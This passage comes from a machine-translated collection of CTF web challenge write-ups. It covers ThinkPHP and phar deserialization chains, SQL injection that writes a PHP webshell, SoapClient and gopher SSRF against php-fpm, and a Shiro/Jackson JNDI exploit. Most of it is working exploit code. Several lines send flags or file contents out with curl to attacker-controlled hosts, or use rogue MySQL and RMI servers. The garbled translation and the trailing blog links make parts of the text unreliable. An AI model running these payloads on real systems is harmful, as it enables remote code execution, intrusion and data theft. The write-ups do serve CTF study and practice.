"username" => "root",
"password" => "root" // BUU The environment password is root
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
// View database name
// "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
// Database name :'~information_schema,mysql,performance_schema,sys,test~'
// The length that can be read at one time is limited , Read the data twice Use mid Function to read separately
// Look up the name of the table
// "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
// ~flag,users~
// Look up the list name
//"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
//~flag~
// Check the field value
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
No echo is injected with an error 

utilize mysql Stack Injection write shell
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // Read local file ~
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, // Stack it up ~
);
protected $config = array(
"debug" => 1,
"database" => "test",// Any existing database
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\$_POST[1]);?>' into outfile '/var/www/html/shell.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://bcd0efea-1d63-43e5-abd8-d004a006567b.node4.buuoj.cn:81/index.php/Home/Index/test",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
Then use the database connector provided by the ant sword to query the data , The address cannot be configured here localhost It won't connect 

It can also be used. rogue-mysql-server , Modify the above payload Database configuration in , You can read any file , But here flag In the database
[SWPUCTF 2016]Web7
key word :Python urllib HTTP Head injection vulnerability
Submit Any character , Direct error The call stack shows the last called urllib2 modular 
Baidu found Python urllib HTTP Head injection vulnerability Due to the vulnerability, the version is a little old Local python No recurrence succeeded , This vulnerability exploits newline characters in http Insert any content into the header to complete the injection 
https://tiaonmmn.github.io/2019/09/12/SWPUCTF-2016-Web7/
payload:
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/
direct submit Submit to change the password
Then the administrator logs in and directly enters admin Sign in 
[ WANGDING cup 2020 Semifinals ]BabyJS
key word :ssrf 00 truncation Command execution space bypass
Download the source code , To look at first routes/index.js, You can see that an empty... Will be returned for direct access json
/debug The main logic of routing exists .
GET request : If you visit ip stay blacklist Chinese means local IP visit , Just read get In the parameter url Parameters , Remove the single and double quotation marks , And then use nodejs Of url.parse Parse . Put the parsed url Joining together to echo '${url.parse(u).href}'>>/tmp/log In the implementation of . Then return /tmp/log Contents of the file . Here you can use command injection to inject flag The contents of the file are written to log In file 
POST request :post If you submit url Parameters , Then use url.parse analysis , Then determine whether the hostname field is in blacklist If not in it , call request Function USES GET Method request url Parameters url, Return the requested content , Can be used for SSRF GET request /debug route 
structure payload, Use cp The command /flag Copy directly to /tmp/log Next , adopt $IFS Instead of spaces . stay get /debug In the implementation of the request , It also filters symbols ’、". stay url.js Found in source code , Execute function url.parse(u).href when , Yes URL The fields representing the user name and password in the will be decoded twice , So you can ’ The symbols are encoded and hidden in pass Field to bypass GET Single and double quotation marks in the request filter , Close the preceding command with single quotation marks . The latter command uses %00 truncation .
The blacklist only filters 127.0.0.1 Related loopback address , But actually 127.0.0.1 To 127.255.255.254 It's all loopback addresses
Paylaod:
{
"url":"http://127.0.0.2:3000/debug?url=http://%[email protected];cp$IFS/flag$IFS/tmp/log%00"}

[ Hongminggu CTF 2021]JavaWeb
key word :CVE-2020-11989(Apache Shiro Authentication bypasses the vulnerability ,Java Deserialization
visit /login Will prompt /json, Revisit /json Again 302 return /login,post A data simulation login 
Login failure will be prompted , But back in the package set-cookie Yes rememberMe=deleteMe, It can be confirmed that Shiro Environmental Science
utilize CVE-2020-11989(Apache Shiro Authentication bypasses the vulnerability POST visit /;/json
As you can see, yes jackson platform
Try the ready-made tools directly
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://ip:7999 [email protected]/flag' -A "ip"

["ch.qos.logback.core.db.JNDIConnectionSource",{
"jndiLocation":"rmi://ip:1099/f5t3qu"}]

then nc The listening port receives flag
[b01lers2020]Scrambled
key word :python Script
You can see from the bag set-cookie There is a string of strange words according to transmissions Guess to hide information 
But I don't know the specific meaning , The middle part of the retransmission packet will change 

Find out the rules , It is found that two characters are provided at a time , And provide the second character in flag Position in 
#python3
#-*-coding=utf-8-*-open
import requests
from urllib.parse import unquote
import time
url = "http://57696281-e2fd-4829-9323-dfc8b5a6b1d7.node4.buuoj.cn:81/"
headers = {
'Cookie': 'frequency=1; transmissions=kxkxkxkxshg%7B3kxkxkxkxsh'}
flag = ['*']*50
for i in range(100):
r = requests.session().get(url,headers=headers)
transmissions = unquote(requests.utils.dict_from_cookiejar(r.cookies)['transmissions']).replace('kxkxkxkxsh','')
#print(transmissions)
index = transmissions[2:]
flag[int(index):int(index)+2] = transmissions[0:2]
if i%30==0:
time.sleep(2)
print(''.join(str(f) for f in flag))

[Windows][HITCON 2019]Buggy_Net
key word : Report an error and bypass the blacklist check 
The title gives the source code ,C# Written . The logic is simple , First, determine whether the file has any … Prevent directory traversal , If not, read wwwroot The contents of the file in the directory and return 
Such as the input Default.txt The following figure is returned 
https://www.sigflag.at/blog/2019/writeup-hitconctf2019-buggy-dot-net/
https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net](hitconctf2019-buggy-dot-net/%29%20https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net)
Make... By reporting an error isBad = false
send out GET request
Content-Type: application/x-www-form-urlencoded
The content of the form submitted in the request body is
filename=%2E%2E%5C%2E%2E%5CFLAG.txt&o=%3Cx

[ Geek challenge 2020]Roamphp4-Rceme
key word :.index.php.swp, Verification code burst , XOR bypasses regular , No arguments rce
F12 notice Hint Tips <!-- Do you know vim swp? -->Vim -r .index.php.swp recovery 
It's filtered out ^ You can't use XOR, but you can reverse it , Match the semicolon and execute the command
import hashlib
import urllib.parse as parse
def gethasheq(last):
for i in range(3000005):
kx = hashlib.md5(str(i).encode('UTF-8')).hexdigest()
if (kx[:5] == last):
return str(i)
def makeurl(last):
ss = ""
for each in last:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{
ss}][!%FF]"
if __name__ == '__main__':
cmd = makeurl('system')+'('+makeurl('next')+'('+makeurl('getallheaders')+'())));'
print(cmd)
print(gethasheq('ae5df'))
system(pos(next(getallheaders())));
or system(next(getallheaders()));
cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));


[SUCTF 2019]Upload Labs 2
key word :SSRF,phar+Soapclient Native class inverse sequence ,FINFO_FILE Trigger phar,php://filter Bypass phar:// Filter
Check the source code according to the link given
admin.php You can see that local access is required to enter the correct logic 
func.php call file Class getMIME() Function to view the file type , Some common pseudo protocols are disabled , Mainly phar Disabled 
getMIME() Used in FINFO_FILE
finfo_file/finfo_buffer/mime_content_type
All pass _php_finfo_get_type Indirectly called key functions php_stream_open_wrapper_ex, Can be used phar:// Trigger
phar Deserialization
index.php That is, you can see the call on the upload page Check Class check Function to detect the contents of a file 
notice class.php, It's filtered out <? label 
The idea is to use deserialization of native classes SoapClient hit ssrf adopt crlf Yes admin.php send out post request ,<? Label use <script language="php"> Form bypasses .
phar Bypass of :
- adopt php://filter To bypass some opening restrictions phar:// Deserialization
- adopt xxe Loading an external entity triggers phar,config.php in libxml_disable_entity_loader(true); The ability to load external entities is disabled , but File Class ReflectionClass Reflection class loading instantiation class , Here you can instantiate SimpleXMLElement classes xxe.
- Instantiated by reflection Mysqli class , utilize vps On Rogue Mysql For malicious services phar https://www.vulnspy.com/cn-phpmyadmin-load-data-local-file-read-local-file/
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);
$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');
$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');
exp as follows :
adopt phar.php Generate 1.gif, Upload the path through the upload page .
stay rogue mysql The location of the read file on the server uses phar Protocol read
phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
Go to func.php Submit php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
<?php
class File{
public $file_name;
public $type;
public $func = "SoapClient";
function __construct($file_name){
$this->file_name = $file_name;
}
}
$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx';//ip&port For receiving flag Listening port of arg2[0] by rogue mysql Address
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$phar = new Phar("1.phar"); // The suffix must be phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>"); // Set up stub
$o = new File($arr);
$phar->setMetadata($o); // Will customize meta-data Deposit in manifest
$phar->addFromString("test.txt", "test");
// Automatic signature calculation
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>
Don't use MySQLi The trigger , utilize SplStack, Call it the push Method ,
<?php
class File {
public $file_name = "";
public $func = "SoapClient";
function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl "http://ip:7999"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='."\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('1.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($object);
$phar->stopBuffering();
But it can be seen that the author's notes should be expected to be used MySQL Triggered but used __destruct Cause to use directly php://filter Just go 
https://xz.aliyun.com/t/6057?page=5#toc-2
[ WANGDING cup 2020 The NBA finals ]Game Exp
key word :phar Deserialization
The audit code found two commands / Code execution point
/login/register.php
/finger/index.php
Audit the login logic , Escape the input , Set the suffix of the file uploaded by the white list to the avatar and limit the file type to the image , The final file name of the uploaded file is username.extension How to name ,sql Injection is not feasible
Last save with file_exists Check filename Whether there is , This file function can use pseudo Protocol phar Trigger deserialization 
/login/register.php For direct use phar Deserialize and execute arbitrary code
exp:
<?php
class AnyClass{
var $output = "eval(system('cat /flag.txt'));";
}
$a = new AnyClass();
$phar = new Phar('123.phar',0,'123.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
Generated phar The file suffix is gif, Register that upload file register , Then grab the bag , Normal registration sends a package , Second revision username by phar://username Trigger phar
/finger/index.php It's about , First change the package and change the score to 1000 And above 

I originally wanted to use the registration phar Deserialization , Hit the native class ssrf, Then I found that there was no suitable springboard , When an invocation method is invoked in an object ,__call() Will be called , It doesn't work SoapClient The class
[SWPU2019]Web6
key word :mysql in WITH ROLLUP null Bypass login checks ,PHP_SESSION_UPLOAD_PROGRESS
Test the login by capturing packets , If the user password is incorrect, that is sql The returned result of the query statement is 0 when , Tips wrong username or password
If you use a universal password , bring sql Statement returns 1 when , Tips Wrong password
Guess that the login logic should be sql Returns... In the result set passwd It's checked
if($key['passwd'] == $_POST['passwd'])
To make both sides equal except sql Inject the password , It can also make both sides null
and mysql in WITH ROLLUP Yes group by When the results are summarized, if they are non additive values, such as user name, etc , The result is null
Use having The result can be limited
username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=
Make the queried password and the entered password blank , If the program judges that the comparison is consistent, you can successfully log in
There will be a prompt after successful login method can useuser see wp I know here method You can also transfer values hint
Given some file names 
And then you see wp I know there's another one wsdl.php, Check the source code to see some useful method value , And a file name 

File_read That can read the contents of the file 
Before you read it again hint File name given at
index.php
First visit method=get_flag The only hint is admin Be able to access... Locally
The main logic should be Service.php Inside , But not enough permissions to read , Read encode.php
I don't know about encryption , Write a reverse decoder to try to decode cookie decode , Get the decoded user name , Direct use en_crypt forge admin

Forged cookie by xZmdm9NxaQ==
Replace cookie Then you can read se.php,interface.php, but Service.php Still unreadable
#se.php
<?php
ini_set('session.serialize_handler', 'php');
class aa{
public $mod1;
public $mod2;
public function __call($name,$param){
if($this->{
$name}){
$s1 = $this->{
$name};
$s1();
}
}
public function __get($ke){
return $this->mod2[$ke];
}
}
class bb{
public $mod1;
public $mod2;
public function __destruct(){
$this->mod1->test2();
}
}
class cc{
public $mod1;
public $mod2;
public $mod3;
public function __invoke(){
$this->mod2 = $this->mod3.$this->mod1;
}
}
class dd{
public $name;
public $flag;
public $b;
public function getflag(){
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,$a);
}
}
class ee{
public $str1;
public $str2;
public function __toString(){
$this->str1->{
$this->str2}();
return "1";
}
}
$a = $_POST['aa'];
unserialize($a);
?>
interface.php The content in , It can be used SoapClient hit ssrf, Yes get_flag To call 
se.php The deserialization chain construction of is relatively simple , Finally, it is to call getflag function 
Guess here method=get_flag Is to call Service.php In the middle of Get_flag function , Then use it here call_user_func Call this function , But local access is required , Here, before calling the function, it starts session, Then you can use php session Deserialization of ssrf Call this function locally
utilize session.upload_progress deserialize In short, it's using PHP_SESSION_UPLOAD_PROGRESS When uploading files Will PHP_SESSION_UPLOAD_PROGRESS Write the value of session In file , Construct malicious serialization statements that can be used after writing session Deserialization complete ssrf
<?php
class aa
{
public $mod1;
public $mod2;
}
class bb
{
public $mod1;
public $mod2;
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
}
class dd
{
public $name;
public $flag;
public $b;
}
class ee
{
public $str1;
public $str2;
}
$bb = new bb();
$aa = new aa();
$cc = new cc();
$ee = new ee();
$bb ->mod1 = $aa;
$cc -> mod1 = $ee;
$dd = new dd();
$dd->flag='Get_flag';
$dd->b='call_user_func';
$ee -> str1 = $dd;
$ee -> str2 = "getflag";
$aa ->mod2['test2'] = $cc;
echo serialize($bb);
<?php
$target = 'http://127.0.0.1/interface.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: user=xZmdm9NxaQ==',
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'wupco^^' . join('^^', $headers), 'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo $aaa;
<html>
<body>
<form action="http://2bb5fbee-f331-4a5a-9766-b3b6f9eef654.node4.buuoj.cn:81/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
Submit any document , And then modify value Value , And plus Cookie: PHPSESSID=test2; This value can be arbitrary but should be accessed later se.php Of PHPSESSID Same value , In the generated payload with | To trigger deserialization 
And then take session visit se.php Submit payload that will do 
[NCTF2019]phar matches everything
key word :phar,ssrf+gopher hit fpm
<?php
#catchmime.php
class Easytest{
protected $test = '1';
}
class Main {
public $url = "file:///proc/net/arp";
}
$a = new Easytest();
echo urlencode(serialize($a))."\n";
$b = new Main();
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('1.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($b);
$phar -> stopBuffering();
rename("1.phar","1.png");
?>
Direct reading flag I can't read it , Read /etc/hosts as well as /proc/net/arp
/proc/net/arp Get the target's intranet IP Address , Probe the intranet host 
It makes sense ip I modified exp Inside url use http Visit to get the contents of the home page, but there is no , I haven't found any intranet hosts here IP Address , Just find one that's on iis There may be something wrong with the environment , according to wp Go over it
according to isrc The code of , To combine gopher Agreement play FPM
Had a whore python3 Available scripts
// gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={
}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={
}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
#params['PHP_ADMIN_VALUE']='extension = '+args.ext
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.parse.quote(response))
if args.base64_format:
print(base64.b64encode(response))
Appoint FPM The Intranet IP、php Path to file 、 Port default 9000、 Running php Code 、 And ask for urlencode
python gopher.py ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u
phar Generate script modification url by gopher://10.0.248.6:9000/_ Plus the generated payload
Put this gopher Protocol generation phar package , Then I read phpinfo()
Find out open_basedir Limits the scope , The next step is to bypass the root directory structure , take phpinfo() Just change it , use filesystemiterator, Finally found flag stay /flag, use ini_set and mkdir Combined read
Change gopher Parameters of c For the following code
<?php mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));?>
https://blog.csdn.net/Xxy605/article/details/120161001 This blog also records Automatic access to flag Script for
边栏推荐
- El select data echo, display only value but not label
- VGG小卷积代替大卷积 VS 深度可分离卷积
- 二叉树(思路篇)
- stress - 系统压力模拟工具
- Start with Xiaobai, take the weight parameter from the trained model and draw the histogram
- 配准后图像对比函数itk::CheckerBoardImageFilter
- A short guide to SSH port forwarding
- wx. Login and wx Getuserprofile simultaneous use problem
- Buu question brushing record - 5
- 二叉树(构造篇)
猜你喜欢

Advanced chapter of C language -- ten thousand words explanation pointer and qsort function

Invalid date of moment conversion timestamp

InfluxDB2.x 基准测试工具 - influxdb-comparisons

数组——双指针技巧秒杀七道数组题目

Object. Detailed explanation of assign()

Promise+ handwritten promise

wx. Login and wx Getuserprofile simultaneous use problem

Buu question brushing record - 5

Numpy数值计算基础

点云配准--gicp原理与其在pcl中的使用
随机推荐
Macro compilation preprocessing header Win32_ LEAN_ AND_ MEAN
TRON-api-波场转账查询接口-PHP版本-基于ThinkPHP5封装-附带接口文档-20220528版本
SEO optimization of web pages
TRON-api-波场转账查询接口-PHP版本-基于ThinkPHP5封装-附带接口文档-20220602版本-接口部署好适用于任何开发语言
[JS] some handwriting functions: deep copy, bind, debounce, etc
sublime_ Textuse
Boot entry directory
Cocktail sort
Principle of master-slave replication of redis
恭喜Splashtop 荣获2022年 IT Europa “年度垂直应用解决方案”奖
Win7 registers out of process components, services, and COM component debugging
What can LDAP and SSO integration achieve?
